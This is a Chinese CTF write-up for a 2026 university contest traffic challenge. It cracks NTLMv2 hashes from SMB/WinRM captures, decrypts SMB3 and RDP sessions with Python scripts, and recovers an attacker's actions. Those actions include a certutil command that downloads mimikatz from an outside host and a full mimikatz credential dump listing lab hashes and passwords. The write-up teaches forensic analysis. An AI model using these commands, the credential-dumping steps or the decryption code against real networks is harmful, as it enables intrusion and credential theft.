文章总结: 该文档分析了2026年中国高校智能机器人创意大赛安全赛的流量题,通过解析pcapng文件中的SMB和WinRM流量,提取NTLM认证数据并破解出密码pass@word1,成功解密加密流量后揭示了攻击者执行的whoami、ipconfig、certutil下载mimikatz以及获取系统凭证的全过程。 综合评分: 88 文章分类: 渗透测试,应急响应,WEB安全,红队,内网渗透
2026年第9届中国高校智能机器人创意大赛软件系统安全赛 流量题wp
原创
XYY XYY
天命团队
2026年4月23日 21:46 河北
在小说阅读器读本章
去阅读
附件给了两个pcapng的文件,一个是pth,另一个是rdp,首先我们先看一下pth的流量。
发现10.10.10.80 → 10.10.10.201:445 大量 SMB Session Setup
用户名为:10.10.10.201\administrator,主机名 JCIFS_127_0_0_1
Impacket 的 SMB 客户端实现(impacket/smb.py 和 impacket/smb3.py)在构造 NTLM 认证时,默认使用 JCIFS 前缀作为 Workstation Name
后面发现是有一个WinRM认证,在过滤器里面进行过滤
http and tcp.port == 5985
在数据包详情中展开 HTTP 头:
Authorization: Negotiate TlRMTVNTUAAB...
User-Agent: Microsoft WinRM Client
Negotiate 后面的 Base64 就是 NTLM 认证数据
展开 NTLMSSP 信息:
Domain name: pc
User name: administrator
Host name: WEB
- 攻击者从
10.10.10.80(WEB)通过 WinRM 远程连接到10.10.10.201(PC) - 使用的是
pc\administrator账号(注意域是pc,不是之前 SMB 的10.10.10.201) - WinRM 成功后的数据是加密的(
HTTP-SPNEGO-session-encrypted),后面需要解密
WinRM 通信被NTLMSSP加密,要解密的话,必须知道明文的密码。
NTLM 三步握手
客户端 → 服务器:NTLMSSP_NEGOTIATE (Type 1) "我要认证"
服务器 → 客户端:NTLMSSP_CHALLENGE (Type 2) "这是挑战码 Challenge"
客户端 → 服务器:NTLMSSP_AUTH (Type 3) "这是我的应答 Response"
我们需要从 Type 2 和 Type 3 中提取数据来组装可破解的 Hash。
首先我们可以提取challenge,在frame.number == 26的数据包中展开到NTLMSSP,找到
NTLM Server Challenge: aa9355d95d697223
在frame.number == 28展开找到 Response
Domain name: 10.10.10.201
User name: administrator
NTProofStr: 0b0108720092c6afa059d78cfbf188c7
然后复制整个字段得到完整的NTLMv2 Response
0b0108720092c6afa059d78cfbf188c70101000000000000f0095026bc72dc01
00000000000000000000000002000a004400450031004100590001000400500043
0004001200640065003100610079002e0063006f006d000300180050004300
2e00640065003100610079002e0063006f006d0005001200640065003100
610079002e0063006f006d0007000800ac903717bc72dc010000000000000000
组成hashcat格式:
用户名::域:ServerChallenge:NTProofStr:NTLMv2Response去掉前32个十六进制字符
hashcat hash
administrator::10.10.10.201:aa9355d95d697223:0b0108720092c6afa059d78cfbf188c7:0101000000000000f0095026bc72dc0100000000000000000000000002000a0044004500310041005900010004005000430004001200640065003100610079002e0063006f006d0003001800500043002e00640065003100610079002e0063006f006d0005001200640065003100610079002e0063006f006d0007000800ac903717bc72dc010000000000000000
当然也可以使用NTLMRawUnHide工具直接去提取,如图:
NTLM 认证中,每次认证服务器都会发一个新的随机 Challenge:
- 第 1 次认证:Challenge = aa9355d95d697223 → NTProofStr = 0b010872…
- 第 2 次认证:Challenge = 4d8b7d534b809b8b → NTProofStr = be616619…
- 第 3 次认证:Challenge = xxxxxxxxxxxxxxxx → NTProofStr = yyyyyyyy…
NTLMv2 的计算公式是:
NTProofStr = HMAC-MD5(NTLMv2_Hash, ServerChallenge + ClientBlob)
Challenge 不同 → 算出来的 NTProofStr 不同 → 最终的 Hash 字符串不同。在本题中由于都是SMB 认证全部失败了,所以并无什么实际作用。
然后用同样的方法去提取 WinRM 认证 Hash 在 frame1273 和 frame 1276
组成hashcat hash:
administrator::pc:cd0a6722277096c9:3fa965e4d9af9a92bde5cefcdd309acb:010100000000000022a2d32cbc72dc01ff545caf96411c670000000002000a0044004500310041005900010004005000430004001200640065003100610079002e0063006f006d0003001800500043002e00640065003100610079002e0063006f006d0005001200640065003100610079002e0063006f006d000700080022a2d32cbc72dc010600040002000000080030003000000000000000000000000030000026544cc05c735b21ae876ab6adeaf35030fb649315896d1d685326c99ddb5f6b0a001000000000000000000000000000000000000900220048005400540050002f00310030002e00310030002e00310030002e00320030003100000000000000000000000000
然后用hashcat破解即可:pass@word1
然后wireshark 设置NTLM 密码,即可看到解密之后的流量了
在这里我们可以看到流量已经解密出来了,可以看到执行的命令
命令1: whoami
命令2: ipconfig /all
命令3: certutil -urlcache -f http://10.10.10.80:8000/mimikatz.exe mimikatz.exe
命令4: dir
命令5: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" > 1.log
a Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords full
Authentication Id : 0 ; 918546 (00000000:000e0412)
Session : RemoteInteractive from 2
User Name : administrator
Domain : DE1AY
Logon Server : DC
Logon Time : 2025/12/22 4:43:03
SID : S-1-5-21-2756371121-2868759905-3853650604-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : DE1AY
* LM : 4885d2c71db12bab1eba5e9d51b4aa9c
* NTLM : 3d83254b53697355ef7498b535e7ab29
* SHA1 : a08ec5f6abc5d3bf6497d3aa3370f6ff37548d0b
tspkg :
* Username : Administrator
* Domain : DE1AY
* Password :
wdigest :
* Username : Administrator
* Domain : DE1AY
* Password :
kerberos :
* Username : administrator
* Domain : DE1AY.COM
* Password :
ssp :
credman :
Authentication Id : 0 ; 712045 (00000000:000add6d)
Session : NetworkCleartext from 0
User Name : de1ay
Domain : DE1AY
Logon Server : DC
Logon Time : 2025/12/22 4:36:31
SID : S-1-5-21-2756371121-2868759905-3853650604-1001
msv :
[00000003] Primary
* Username : de1ay
* Domain : DE1AY
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : de1ay
* Domain : DE1AY
* Password :
wdigest :
* Username : de1ay
* Domain : DE1AY
* Password :
kerberos :
* Username : de1ay
* Domain : DE1AY.COM
* Password :
ssp :
credman :
Authentication Id : 0 ; 709503 (00000000:000ad37f)
Session : Service from 0
User Name : sshd_3212
Domain : VIRTUAL USERS
Logon Server : (null)
Logon Time : 2025/12/22 4:36:30
SID : S-1-5-111-3847866527-469524349-687026318-516638107-1125189541-3212
msv :
[00000003] Primary
* Username : PC$
* Domain : DE1AY
* NTLM : 656ea538d9cf1c85a57bbac5a5020ffd
* SHA1 : a9cf2cc0fafdb001bd121d53c665340ed208ffc2
tspkg :
* Username : PC$
* Domain : DE1AY
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
wdigest :
* Username : PC$
* Domain : DE1AY
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
kerberos :
* Username : PC$
* Domain : de1ay.com
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
ssp :
credman :
Authentication Id : 0 ; 623891 (00000000:00098513)
Session : NetworkCleartext from 0
User Name : de1ay
Domain : DE1AY
Logon Server : DC
Logon Time : 2025/12/22 4:28:24
SID : S-1-5-21-2756371121-2868759905-3853650604-1001
msv :
[00000003] Primary
* Username : de1ay
* Domain : DE1AY
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : de1ay
* Domain : DE1AY
* Password :
wdigest :
* Username : de1ay
* Domain : DE1AY
* Password :
kerberos :
* Username : de1ay
* Domain : DE1AY.COM
* Password :
ssp :
credman :
Authentication Id : 0 ; 621283 (00000000:00097ae3)
Session : Service from 0
User Name : sshd_3568
Domain : VIRTUAL USERS
Logon Server : (null)
Logon Time : 2025/12/22 4:28:15
SID : S-1-5-111-3847866527-469524349-687026318-516638107-1125189541-3568
msv :
[0000þ»)JÚÞjjì¥+ky©.jg²×hºÐ¨.f§t.×..ë....:à
À÷o.ãÐ.ôN;.Ð.0003] Primary
* Username : PC$
* Domain : DE1AY
* NTLM : 656ea538d9cf1c85a57bbac5a5020ffd
* SHA1 : a9cf2cc0fafdb001bd121d53c665340ed208ffc2
tspkg :
* Username : PC$
* Domain : DE1AY
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
wdigest :
* Username : PC$
* Domain : DE1AY
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
kerberos :
* Username : PC$
* Domain : de1ay.com
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
ssp :
credman :
Authentication Id : 0 ; 475572 (00000000:000741b4)
Session : CachedInteractive from 1
User Name : de1ay
Domain : DE1AY
Logon Server : DC
Logon Time : 2025/12/22 4:21:19
SID : S-1-5-21-2756371121-2868759905-3853650604-1001
msv :
[00000003] Primary
* Username : de1ay
* Domain : DE1AY
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : de1ay
* Domain : DE1AY
* Password :
wdigest :
* Username : de1ay
* Domain : DE1AY
* Password :
kerberos :
* Username : de1ay
* Domain : DE1AY.COM
* Password :
ssp :
credman :
Authentication Id : 0 ; 449071 (00000000:0006da2f)
Session : CachedInteractive from 1
User Name : de1ay
Domain : DE1AY
Logon Server : DC
Logon Time : 2025/12/22 4:20:34
SID : S-1-5-21-2756371121-2868759905-3853650604-1001
msv :
[00000003] Primary
* Username : de1ay
* Domain : DE1AY
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : de1ay
* Domain : DE1AY
* Password :
wdigest :
* Username : de1ay
* Domain : DE1AY
* Password :
kerberos :
* Username : de1ay
* Domain : DE1AY.COM
* Password :
ssp :
credman :
Authentication Id : 0 ; 312952 (00000000:0004c678)
Session : Interactive from 1
User Name : mssql
Domain : DE1AY
Logon Server : DC
Logon Time : 2025/12/22 4:18:16
SID : S-1-5-21-2756371121-2868759905-3853650604-2103
msv :
[00000003] Primary
* Username : mssql
* Domain : DE1AY
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : mssql
* Domain : DE1AY
* Password :
wdigest :
* Username : mssql
* Domain : DE1AY
* Password :
kerberos :
* Username : mssql
* Domain : DE1AY.COM
* Password :
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/12/22 4:13:20
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : PC$
Domain : DE1AY
Logon Server : (null)
Logon Time : 2025/12/22 4:13:18
SID : S-1-5-20
msv :
[00000003] Primary
* Username : PC$
* Domain : DE1AY
* NTLM : 656ea538d9cf1c85a57bbac5a5020ffd
* SHA1 : a9cf2cc0fafdb001bd121d53c665340ed208ffc2
tspkg :
wdigest :
* Username : PC$
* Domain : DE1AY
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
kerberos :
* Username : pc$
* Domain : þ»)JÚÞjjì¥+ky©.jg²×hºÐ¨.f§t.×..ë....:à
À÷o.ãÐ.ôN;.Ð.DE1AY.COM
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
ssp :
credman :
Authentication Id : 0 ; 28405 (00000000:00006ef5)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/12/22 4:13:02
SID :
msv :
[00000003] Primary
* Username : PC$
* Domain : DE1AY
* NTLM : 656ea538d9cf1c85a57bbac5a5020ffd
* SHA1 : a9cf2cc0fafdb001bd121d53c665340ed208ffc2
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : PC$
Domain : DE1AY
Logon Server : (null)
Logon Time : 2025/12/22 4:13:01
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : PC$
* Domain : DE1AY
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
kerberos :
* Username : pc$
* Domain : DE1AY.COM
* Password : <bR3tZ!fxJng-+pl6IBwqAmR<w0;<Rqq,oS6[tvWN00sa^?tz`a_v:t4b);6yX*a!aUDS#+) % n*,'4:y%:ak'v1w.mpd/^.g&^zvNB;<FhX+-,pxduthU=
ssp :
credman :
mimikatz(commandline) # exit
Bye!
C:\Users\Administrator.PC>
在 mimikatz输出中找到域管理员的凭据:
Authentication Id : ...
Session : ...
User Name : Administrator
Domain : DE1AY
* NTLM : 3d83254b53697355ef7498b535e7ab29
* SHA1 : ...
有了域管理的Hash,就可以解密后续的所有的SMB3 的加密流量了。
找到 Frame 3291~3294 的 NTLM 认证:
10.10.10.80→10.10.10.10:445(攻击者连域控)- 认证后所有 SMB 包都显示为
Encrypted SMB3
先找到challenge:9d92b46171a87637
然后展开NTLMSSP :
Domain name: (空)
User name: administrator
Host name: (空)
NTLMv2 Response:
4103e8d84572fa74f220ecc20be704c1010100000000000048bac1a9bc72dc01
447637675159784300000000010004004400430002000a004400450031004100
590003001800440043002e00640065003100610079002e0063006f006d000400
1200640065003100610079002e0063006f006d0005001200640065003100610079
002e0063006f006d000700080048bac1a9bc72dc0109000e006300690066007300
2f00440043000000000000000000
Encrypted Session Key: 7433d4ac87cdff2d38b2e8a5840b919d
从中提取:
- NTProofStr(NTLMv2 Response 前 32 字符):**
4103e8d84572fa74f220ecc20be704c1** - Encrypted Session Key:**
7433d4ac87cdff2d38b2e8a5840b919d**
计算SMB3 Session Key
import hmac, hashlib, struct
from Crypto.Cipher import ARC4
nt_hash = bytes.fromhex("3d83254b53697355ef7498b535e7ab29")
server_challenge = bytes.fromhex("9d92b46171a87637")
nt_proof_str = bytes.fromhex("4103e8d84572fa74f220ecc20be704c1")
encrypted_sess_key = bytes.fromhex("7433d4ac87cdff2d38b2e8a5840b919d")
username = "administrator"
domain = ""
user_domain = (username.upper() + domain).encode('utf-16-le')
ntlmv2_hash = hmac.new(nt_hash, user_domain, hashlib.md5).digest()
print(f"NTLMv2 Hash: {ntlmv2_hash.hex()}")
session_base_key = hmac.new(ntlmv2_hash, nt_proof_str, hashlib.md5).digest()
print(f"Session Base Key: {session_base_key.hex()}")
session_key = ARC4.new(session_base_key).decrypt(encrypted_sess_key)
print(f"Session Key: {session_key.hex()}")
def smb3_kdf(key, label, context):
label_b = label.encode('utf-8') + b'\x00'
context_b = context.encode('utf-8') + b'\x00'
data = struct.pack('>I', 1) + label_b + b'\x00' + context_b + struct.pack('>I', 128)
return hmac.new(key, data, hashlib.sha256).digest()[:16]
signing_key = smb3_kdf(session_key, "SMB2AESCMAC", "SmbSign")
encryption_key = smb3_kdf(session_key, "SMB2AESCCM", "ServerIn ")
decryption_key = smb3_kdf(session_key, "SMB2AESCCM", "ServerOut")
print(f"Signing Key: {signing_key.hex()}")
print(f"Encryption Key (C→S): {encryption_key.hex()}")
print(f"Decryption Key (S→C): {decryption_key.hex()}")
NTLMv2 Hash: 8563b6400e3ab0e03386066de66cd555
Session Base Key: d60e4d9c901337bb1c39c9d5513afd72
Session Key: 3252507a61756f507132585748475953
Signing Key: 107bca5f37f1651de3bce84c711fdfa6
Encryption Key (C→S): 01246065279090c8c45a521358e0e88e
Decryption Key (S→C): 720892171ec6fe159cec7ecc96400cc1
导入wireshark,去看解密之后的流量。
这里要注意,SMB2的SessionKey默认是以小端序存储的,而我们解密的时候需要填入的格式是大端序
- Session Id:
5500000000480000 - Session Key:
3252507a61756f507132585748475953 - Server-to-Client:
720892171ec6fe159cec7ecc96400cc1 - Client-to-Server:
01246065279090c8c45a521358e0e88e
这样我们就可以看到SMB2解密之后的流量了。
发现在域控上面创建了后门账号,admin:kPxQ1GT9zA9E,并赋予了域管最高权限。
定位到第二段的SMB3认证。
Server Challenge: b3526269d4453b24
Domain name: (空)
User name: admin
Encrypted Session Key: a93341fd28b90248aa3cc3e072da4cc4
NTLMv2 Response:
7368589eef94d340237823caa7835c2901010000000000000df2dfd2bc72dc01
6447555468675a780000000002000a004400450031004100590001000400440043
0004001200640065003100610079002e0063006f006d0003001800440043002e00
640065003100610079002e0063006f006d0005001200640065003100610079002e
0063006f006d00070008000df2dfd2bc72dc0109000e0063006900660073002f00
440043000000000000000000
计算第二段的 Session key
import hmac, hashlib, struct
from Crypto.Cipher import ARC4
password = "kPxQ1GT9zA9E"
nt_hash = hashlib.new('md4', password.encode('utf-16-le')).digest()
server_challenge = bytes.fromhex("b3526269d4453b24")
nt_proof_str = bytes.fromhex("7368589eef94d340237823caa7835c29")
encrypted_sess_key = bytes.fromhex("a93341fd28b90248aa3cc3e072da4cc4")
username = "admin"
domain = ""
def smb3_kdf(key, label, context):
label_b = label.encode('utf-8') + b'\x00'
context_b = context.encode('utf-8') + b'\x00'
data = struct.pack('>I', 1) + label_b + b'\x00' + context_b + struct.pack('>I', 128)
return hmac.new(key, data, hashlib.sha256).digest()[:16]
user_domain = (username.upper() + domain).encode('utf-16-le')
ntlmv2_hash = hmac.new(nt_hash, user_domain, hashlib.md5).digest()
session_base_key = hmac.new(ntlmv2_hash, nt_proof_str, hashlib.md5).digest()
session_key = ARC4.new(session_base_key).decrypt(encrypted_sess_key)
enc_key = smb3_kdf(session_key, "SMB2AESCCM", "ServerIn ")
dec_key = smb3_kdf(session_key, "SMB2AESCCM", "ServerOut")
print(f"Session Key: {session_key.hex()}")
print(f"Client-to-Server: {enc_key.hex()}")
print(f"Server-to-Client: {dec_key.hex()}")
Session Key: 4e6939527a31453673734f3665337337
Client-to-Server: 0bc2101f3e2d859ea32c8f0b40d34076
Server-to-Client: 61a6bc8552b7cffacb4f1a51e4e0a2e0
然后导入wireshark,即可解码第二段的SMB2流量。
解密后看到攻击者的操作:
- 连接
\\10.10.10.10\Share共享 - 上传两个文件:
LOCAL_MACHINE_Remote Desktop_0_WIN-PJQQGRU9QOC.pfx(2487 字节)LOCAL_MACHINE_Remote Desktop_0_WIN-PJQQGRU9QOC.der(742 字节)
文件名中 Remote Desktop + WIN-PJQQGRU9QOC 说明这是 WIN-PJQQGRU9QOC 这台机器的 RDP 证书。.pfx 里面包含证书 + 私钥,有了私钥就能解密 RDP TLS 流量。
然后用openssl 导出私钥
openssl pkcs12 -in extracted_pfx.pfx -nocerts -nodes -out rdp_key.pem -passin pass:mimikatz
PFX 密码是 **mimikatz**(mimikatz 导出证书的默认密码)
openssl rsa -in rdp_key.pem -check
然后确定信息即可。
openssl pkcs12 -in extracted_pfx.pfx -clcerts -nokeys -out rdp_cert.pem -passin pass:mimikatz
openssl x509 -in rdp_cert.pem -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
38:9a:0b:b5:67:61:09:ae:45:4f:f6:62:c8:5f:ef:c0
Signature Algorithm: sha1WithRSAEncryption
Issuer: CN = WIN-PJQQGRU9QOC
那么现在我们第一个文件就已经分析完成了。
加密模式是TLS_RSA_WITH_AES_128_CBC_SHA,那么我们只要有私钥就可以进行解码就可以了。
和提取的 PFX 证书一致,确认私钥匹配。
导入私钥,就可以解密了。
后面发现是键盘的输入
RDP 客户端发送的键盘输入以 Fast-Path Input Event 编码:
每个键盘事件 = [1字节 header] [1字节 scancode]
header 位结构:
bit 7-5(高3位):事件类型
0 = 键盘事件(FASTPATH_INPUT_EVENT_SCANCODE)
1 = 鼠标事件
bit 0(最低位):
0 = 按下 1 = 松开
0x10=q 0x11=w 0x12=e 0x13=r 0x14=t 0x15=y 0x16=u 0x17=i 0x18=o 0x19=p
0x1E=a 0x1F=s 0x20=d 0x21=f 0x22=g 0x23=h 0x24=j 0x25=k 0x26=l
0x2C=z 0x2D=x 0x2E=c 0x2F=v 0x30=b 0x31=n 0x32=m
0x02=1 0x03=2 0x04=3 0x05=4 0x06=5 0x07=6 0x08=7 0x09=8 0x0A=9 0x0B=0
0x0C=- 0x1A=[ 0x1B=] 0x39=空格 0x1C=回车
0x2A=左Shift 0x36=右Shift(按住时字母变大写,数字变符号)
Shift 按住时的变化:
1→! 2→@ 3→# 4→$ 5→% 6→^ 7→& 8→* 9→( 0→)
-→_ =→+ [→{ ]→}
写脚本进行还原
import hashlib, hmac, struct, subprocess
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
key = RSA.import_key(open('rdp_key_rsa.pem').read())
r1 = subprocess.run(['tshark', '-r', '2-rdp.pcapng', '-Y', 'frame.number == 32', '-T', 'fields', '-e', 'tls.handshake.random'], capture_output=True, text=True)
cr = bytes.fromhex(r1.stdout.strip().replace(':',''))
r2 = subprocess.run(['tshark', '-r', '2-rdp.pcapng', '-Y', 'frame.number == 33', '-T', 'fields', '-e', 'tls.handshake.random'], capture_output=True, text=True)
sr = bytes.fromhex(r2.stdout.strip().replace(':',''))
r3 = subprocess.run(['tshark', '-r', '2-rdp.pcapng', '-Y', 'frame.number == 34', '-T', 'fields', '-e', 'tls.handshake.epms'], capture_output=True, text=True)
epms = bytes.fromhex(r3.stdout.strip().replace(':',''))
cipher_rsa = PKCS1_v1_5.new(key)
pms = cipher_rsa.decrypt(epms, None)
def prf(secret, label, seed, length):
half = (len(secret)+1)//2
s1, s2 = secret[:half], secret[half:]
def ph(hf, s, sd, l):
r = b''; a = sd
while len(r) < l:
a = hmac.new(s, a, hf).digest()
r += hmac.new(s, a + sd, hf).digest()
return r[:l]
p1 = ph(hashlib.md5, s1, label+seed, length)
p2 = ph(hashlib.sha1, s2, label+seed, length)
return bytes(a^b for a,b in zip(p1,p2))
ms = prf(pms, b'master secret', cr+sr, 48)
kb = prf(ms, b'key expansion', sr+cr, 104)
c_key, s_key = kb[40:56], kb[56:72]
c_iv, s_iv = kb[72:88], kb[88:104]
prev_c_iv = c_iv
prev_s_iv = s_iv
scancode_map = {
0x02:'1',0x03:'2',0x04:'3',0x05:'4',0x06:'5',0x07:'6',0x08:'7',0x09:'8',0x0A:'9',0x0B:'0',
0x0C:'-',0x0D:'=',0x0E:'[BS]',0x0F:'[TAB]',
0x10:'q',0x11:'w',0x12:'e',0x13:'r',0x14:'t',0x15:'y',0x16:'u',0x17:'i',0x18:'o',0x19:'p',
0x1A:'[',0x1B:']',0x1C:'[ENTER]',0x1D:'[CTRL]',
0x1E:'a',0x1F:'s',0x20:'d',0x21:'f',0x22:'g',0x23:'h',0x24:'j',0x25:'k',0x26:'l',
0x27:';',0x28:"'",0x29:'`',0x2A:'[LSHIFT]',0x2B:'\\',
0x2C:'z',0x2D:'x',0x2E:'c',0x2F:'v',0x30:'b',0x31:'n',0x32:'m',
0x33:',',0x34:'.',0x35:'/',0x36:'[RSHIFT]',
0x38:'[ALT]',0x39:' ',0x3A:'[CAPS]',
}
shift_map = {
0x02:'!',0x03:'@',0x04:'#',0x05:'$',0x06:'%',0x07:'^',0x08:'&',0x09:'*',0x0A:'(',0x0B:')',
0x0C:'_',0x0D:'+',0x1A:'{',0x1B:'}',0x27:':',0x28:'"',0x29:'~',0x2B:'|',
0x33:'<',0x34:'>',0x35:'?',
0x10:'Q',0x11:'W',0x12:'E',0x13:'R',0x14:'T',0x15:'Y',0x16:'U',0x17:'I',0x18:'O',0x19:'P',
0x1E:'A',0x1F:'S',0x20:'D',0x21:'F',0x22:'G',0x23:'H',0x24:'J',0x25:'K',0x26:'L',
0x2C:'Z',0x2D:'X',0x2E:'C',0x2F:'V',0x30:'B',0x31:'N',0x32:'M',
}
all_keys = []
shift_pressed = False
for fnum in range(36, 800):
r = subprocess.run(['tshark', '-r', '2-rdp.pcapng', '-Y', f'frame.number == {fnum}', '-T', 'fields', '-e', 'ip.src', '-e', 'tls.app_data'], capture_output=True, text=True)
parts = r.stdout.strip().split('\t')
if len(parts) < 2ornot parts[1].strip():
continue
src = parts[0]
ad = bytes.fromhex(parts[1].replace(':',''))
is_client = (src == '10.10.10.80')
k = c_key if is_client else s_key
iv = prev_c_iv if is_client else prev_s_iv
try:
c = AES.new(k, AES.MODE_CBC, iv)
pt = c.decrypt(ad)
if is_client:
prev_c_iv = ad[-16:]
else:
prev_s_iv = ad[-16:]
pad_val = pt[-1]
content = pt[:-(pad_val+1+20)]
ifnot is_client or len(content) < 4:
continue
if content[0] & 0x03 == 0x00:
pos = 1
if content[pos] & 0x80:
pos += 2
else:
pos += 1
while pos < len(content) - 1:
event_header = content[pos]
event_code = (event_header >> 5) & 0x07
event_flags = event_header & 0x1F
if event_code == 0: # SCANCODE
scancode = content[pos+1]
is_release = (event_flags & 0x01) != 0
if scancode in (0x2A, 0x36):
shift_pressed = not is_release
elifnot is_release:
if shift_pressed and scancode in shift_map:
ch = shift_map[scancode]
elif scancode in scancode_map:
ch = scancode_map[scancode]
else:
ch = f'[0x{scancode:02x}]'
all_keys.append(ch)
pos += 2
elif event_code == 1: # MOUSE
pos += 7
elif event_code == 2: # MOUSEX
pos += 7
elif event_code == 3: # SYNC
pos += 1
else:
break
elif content[0] == 0x03and len(content) > 20:
for i in range(len(content) - 8):
if content[i:i+2] == b'\x04\x00':
flags = struct.unpack('<H', content[i+2:i+4])[0]
scancode = struct.unpack('<H', content[i+4:i+6])[0]
is_release = (flags & 0x8000) != 0
if scancode in (0x2A, 0x36):
shift_pressed = not is_release
elifnot is_release and scancode < 0x80:
if shift_pressed and scancode in shift_map:
ch = shift_map[scancode]
elif scancode in scancode_map:
ch = scancode_map[scancode]
else:
ch = f'[0x{scancode:02x}]'
all_keys.append(ch)
except Exception as e:
pass
raw_result = ''.join(all_keys)
print(raw_result)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:天命团队 XYY XYY《2026年第9届中国高校智能机器人创意大赛软件系统安全赛 流量题wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论